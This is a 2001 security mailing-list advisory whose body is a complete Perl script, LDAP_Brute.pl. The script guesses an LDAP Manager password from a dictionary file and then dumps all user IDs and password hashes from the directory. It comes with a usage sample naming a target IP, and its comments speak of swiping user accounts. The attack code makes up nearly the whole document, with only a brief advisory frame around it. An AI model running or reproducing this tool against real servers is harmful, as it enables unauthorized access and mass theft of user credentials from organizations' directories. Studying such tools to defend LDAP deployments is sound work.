[TOOL] LDAP Authentication Brute Forcing

From: support@securiteam.com
Date: 12/15/01


From: support@securiteam.com
To: list@securiteam.com
Date: Sat, 15 Dec 2001 13:14:53 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  LDAP Authentication Brute Forcing
------------------------------------------------------------------------

DETAILS

The following tool will allow you to brute force an LDAP Manager password
and then dump all user and passwords from the Database.

Tool:
#!/usr/bin/perl
# LDAP_Brute.pl

# by: Victim1
# shouts to all AngryPacketeers !!
# http://angreypacket.com

# recommendation: start the $arg u (user) with something like asmi* for as
in Ann Smith or something, be creative they are only users

# Extra Info: This was written and tested on Slackware 8.0 against
OpenLDAP.
# this sorta slow but gets the job done.

system("clear");
print "Starting Crack:\n";
print "---------------\n";
use Getopt::Std;

getopts("t:d:b:u:l:?", \%args);
# continue with normal crack
if($args{t}) {
    $target = $args{t};
} else {
    Usage();
}
if($args{d}) {
    $dn = $args{d}
} else {
    Usage();
}
if($args{b}) {
    $base = $args{b}
} else {
    Usage();
}
if($args{u}) {
    $user = $args{u};
} else {
    Usage();
}
if($args{l}) {
    $dictionary = $args{l};
} else {
    Usage();
}
if($args{"?"}) {
    Usage();
}

# start
brutality();
ldap_connect(@passwords);

# Start Brute Force of LDAP Manager Password.
# should return this: -->
# As this is what we will be expecting for a return...
# jsmith:{SHA}JheluJmppdiUiMJhn9X1raH26fA=:0:0:/jsmith:
sub ldap_connect {
    foreach $password (@passwords) {
        use Net::LDAP;
        $ldap = Net::LDAP->new($target);
        $ldap->bind ($dn,
                     password => $password
                     );
        $ldap->unbind;
        print "Manager -> Guess: $password\n";
        get_accounts($target, $password);
    }
}

# OPEN Dictionary and Brute force LDAP server.
sub brutality {
    #lets load up dictionary
    open(DICT, "<$args{l}") or die "Cannot open: $args{l} $@\n";
    @passwords = <DICT>;
    close(DICT);
    chomp @passwords;
}

sub get_accounts {
    # lets swipe user accounts and SHA_Base64 Keys.
    use Net::LDAP;
    $ldapc = Net::LDAP->new($target) or die "$@";
    $ldapc->bind($dn, password => $password) || die "$@";
    $mesg = $ldapc->search (
                            base => $base,
                            scope => "subtree",
                            filter => "(uid=$user)"
                            );
    $mesg->code && die $mesg->error;

        # this is a fucking pain in the ass to break a fucking loop ??
isnt it...
        $i=0;
        foreach $entry ($mesg->all_entries) {
                @uid=$entry->get_value('uid');
                @pass=$entry->get_value('userpassword');
                $test =
($uid[0].":".$pass[0].":".$i.":".$i.":/".$uid[0].":");
                if ($test =~ /$uid[0]:{SHA}/) {
                    print "CRACKED MANAGER PASSWORD !!!! -> $password\n";
                    print "$test\n";
                    sleep 2;
                    print "Dumping Database please Wate\n";
                    dump_database();
                    exit;
                } else {
                    $ldapc->unbind;
                    return 0;
                }
            }
}

sub dump_database {
    $ldap = Net::LDAP->new($target) or die "$@";
    $ldap->bind($dn, password => $password) || die "$@";
    $mesg = $ldap->search (
                           base => $base,
                           scope => "subtree",
                           filter => "(uid=*)"
                           );
    $mesg->code && die $mesg->error;
    
    $i=0;
    foreach $entry ($mesg->all_entries) {
        @uid=$entry->get_value('uid');
        @pass=$entry->get_value('userpassword');
        print $uid[0].":".$pass[0].":".
            $i.":".$i.":/".$uid[0].":\n";
    }
    $ldap->unbind;
}

# APP USAGE ----->
##################
sub Usage {
    print <<USAGE;
  Usage: perl LDAP_Brute.pl [-?] -tdbul
      -t Target
      -d dn -> cn=Manager,o=organization,c=country ( US )
      -b base dn (o=Microsoft,c=US)
      -u User
      -l Password List ( Dictionary )
      -? This Menu
        Sample: perl LDAP_Brute.pl -t 192.168.20.10 -d
cn=Manager,o=MicroSoft,c=US -b o=Microsoft,c=US
-u jsmi* -d /usr/local/lib/Cracklib
          Note: You are on you own if you do something Naughty little wee
wee's ~!
USAGE
    exit;
}
##################

ADDITIONAL INFORMATION

The information has been provided by <mailto:cdowns@skillsoft.com>
Victim1.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


Quantcast